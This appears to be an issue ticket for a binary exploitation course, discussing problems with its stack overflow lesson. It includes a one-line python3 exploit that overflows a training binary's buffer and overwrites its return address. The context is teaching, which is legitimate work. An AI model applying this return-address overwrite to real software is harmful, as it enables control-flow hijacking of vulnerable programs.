Update Binary Exploitation - Stack overflow attack section

[syreal17]

Consider issues with current Stack overflow attack section:

• Gives source code for vulnerable program and solution exploit, but the return address needed is liable to change, and padding might change between systems as well.
• Solution exploit uses python3 and print which is unable to output non-printable characters
• The current working solution: python3 -c "import sys; sys.stdout.buffer.write(b'abcdefghijkl\x76\x11\x40\x00\x00\x00\x00\x00')" | ./vuln1
• This might be a good first candidate to move to a Gym problem instead of local thing